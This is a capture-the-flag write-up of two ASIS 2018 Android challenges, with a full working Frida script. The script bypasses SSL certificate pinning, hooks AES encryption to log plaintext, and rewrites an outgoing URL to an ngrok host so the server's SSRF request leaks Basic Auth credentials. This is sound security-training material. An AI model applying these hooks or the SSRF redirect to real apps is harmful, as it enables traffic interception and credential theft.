One Frida script for two Flags
ASIS 2018 Gunshop and Gunshop II challenges were about an Android app. And I love reversing Android apps. Here is the Write-up for the two challenges, as the same script will resolve both.
Gunshop
Description
Login to the underground bloody shop.
Write-up
The first thing I try when I see an Android app is reversing it.
For a CTF as ASIS I was expecting an obfuscated app, so it was there, obfuscated as hell.
The second thing I try when I do an analysis on an Android app is intercept its traffic with Burp Suite. So, I uploaded the app to my Genymotion instance, configured my connection to use the proxy on my host machine and set as trust the Burp’s CA. I did this and the second obstacle showed up:
To see the traffic on Burp I need to bypass this SSL pinning. There are several ways to achieve a certain level of certificate pinning, so I need to understand how this is done.
I found the m
class, where all the cryptographic methods were being done. What method is being used to do the SSL Pinning?
Two lines caught my attention:
The first one looks like a hash and could be used to test the certificate:
public static final Set a = new HashSet(Arrays.asList(new String[] { "b1bc3b5a0ccac02a1003642873290f38afb4d7d1c514dff9cf8ec26dd7027b68" }));
The second is getting the certificate from the accessed URL to check something:
paramHttpsURLConnection = ((X509Certificate)arrayOfCertificate[i]).getPublicKey().getEncoded();
I analyzed a bit further and that was right: the method
public static boolean a(HttpsURLConnection paramHttpsURLConnection, Set paramSet)
was the responsible for the certificate pinning. I spent some time thinking how to add my certificate hash to it but it was easier to use Frida.
Frida is the best tool for Android instrumentation as it easy to hook methods and change the behavior of the app as you like. I upload the frida-server
to my Android (adb push
), ran it (./frida-server &
) and started to code my script.
To use it on Frida I needed the app ID and I found it inside the m
class:
There are a handful of ways to find it but as I was checking the m
class this line was screaming for me.
The first thing I did using Frida was to call directly m.a("configUrl", this);
and m.a("configKey", this);
. These two calls were done inside the MainActivity so they must be important. The Frida script for this:
Java.perform(
function () {
Java.choose("android.gunshop.com.gunshop.MainActivity", {
onMatch: function (instance) {
var m = Java.use("android.gunshop.com.gunshop.m");
console.log(m.a("configUrl", instance));
console.log(m.a("configKey", instance));
},
onComplete: function () {}
});
}
)
And the result:
The configUrl
was the URL of the API and the configKey
… well, I have no idea. I need to be honest here: I got the two flags without knowing how the cryptographic process was implemented as I will explain further in the write-up.
Let’s hook the SSL pinning method. As showed before, this method returns boolean
after the check. So, let’s return true
in all cases. I needed to use overload
on Frida as there were several methods with the same name. Changed my code to run it directly:
Java.perform(
function () {
var m = Java.use("android.gunshop.com.gunshop.m");
//Cert pinning bypass
m.a.overload("javax.net.ssl.HttpsURLConnection", "java.util.Set").implementation = function () {
return true;
};
}
)
As I changed the SSL pinning method’s implementation I could now intercept using Burp Suite.
How to get a valid user? The filename is obvious a tip, so let’s find a download endpoint.
Inside the a
class there was something probably useful:
Can I download the file using this endpoint? Yes, I can. Here is the valid credential:
And then I can see the Gunshop:
A brief period of success. After some check I saw that all the payloads were being ciphered. Here I need to say I spent some hours trying to understand the cryptographic process and I failed. Maybe I was using wrong parameters, maybe the code was using some kind of dynamic keys, but I failed. So, I thought: gosh, I’m using Frida. Let’s see the data inside the cryptographic method!
And where are the cryptographic methods?
Man, I read the m
class so many times that I already knew AES-ECB
was being used somewhere:
But it’s usual to have different methods for cipher and decipher and I search for another AES/ECB/PKCS5Padding
string. And a b
method showed up:
Which one is cipher and which one is decipher? Simple: if Base64 is the last method being called before return, it is usually cipher. And when Base64 is being called before the cryptographic process, it is usually decipher. a
was my cipher method, b
my decipher one.
I overloaded the two methods using Frida, but one thing was different: I called the method using the original parameters and return the original output. For the app it was transparent, but I was seeing its parameters and return value.
//View before Encrypt
m.a.overload("java.lang.String", "java.security.Key").implementation = function (str, key) {
var ret = this.a(str, key)
console.log("Plain: " + str)
return ret
};
//View after Decrypt
m.b.overload("java.lang.String", "java.security.Key").implementation = function (str, key) {
var ret = this.b(str, key)
console.log("Plain: " + ret)
return ret
};
All the texts showed up in plaintext. Including the flag, among all the weapons:
Flag: ASIS{d0Nt_KI11_M3_G4NgsteR}
Gunshop II
Description
Login to the City Center Shop. A weapon is there, waiting for a worthy warrior to take it!
Write-up
So, where is the City Center Shop? After the decipher/cipher hook using Frida all was clear and the URL showed up in the last steps.
Let’s access it:
Let’s go to Burp and change the method from GET
to POST
:
401
and a Basic Authentication hint. I tried several auths (including the alfredo
credential from Gunshop) and I received 401
for all the tries. So, where is the credential? No guessing was needed until now, so let’s think. How did I find this URL?
The URL was being sent to the backend in the last step. URL being sent to backend… maybe the server is connecting to this URL and this is a SSRF
vulnerability. So, how to pass my URL to the method as it is using payload encryption? The easiest thing that came to my mind was replace the URL before sending it to the server. I set a ngrok
and create a replace before the encryption:
//View before Encrypt + SSRF replace
m.a.overload("java.lang.String", "java.security.Key").implementation = function (str, key) {
str = str.replace(/http:\\\/\\\/188.166.76.14:42151\\\/DBdwGcbFDApx93J3/, 'https:\\/\\/a7af3844.ngrok.io')
var ret = this.a(str, key)
console.log("Plain: " + str)
return ret
};
(I spent some time trying to get the replace working because of the backslash and the slash hell :P)
The URL was sent:
And this worked!
I used the authorization, and voilà:
Flag: ASIS{0Ld_B16_br0Th3r_H4d_a_F4rm}
So, one Frida script (and several hours) got me 2 flags:
Java.perform(
function () {
var m = Java.use("android.gunshop.com.gunshop.m");
//Cert pinning bypass
m.a.overload("javax.net.ssl.HttpsURLConnection", "java.util.Set").implementation = function () {
return true;
};
//View before Encrypt + SSRF replace
m.a.overload("java.lang.String", "java.security.Key").implementation = function (str, key) {
str = str.replace(/http:\\\/\\\/188.166.76.14:42151\\\/DBdwGcbFDApx93J3/, 'https:\\/\\/a7af3844.ngrok.io')
var ret = this.a(str, key)
console.log("Plain: " + str)
return ret
};
//View after Decrypt
m.b.overload("java.lang.String", "java.security.Key").implementation = function (str, key) {
var ret = this.b(str, key)
console.log("Plain: " + ret)
return ret
};
}
)
Thanks
Thank you Alisson for helping me in getting Frida to work properly and thank you ASIS for these two fun challenges! :)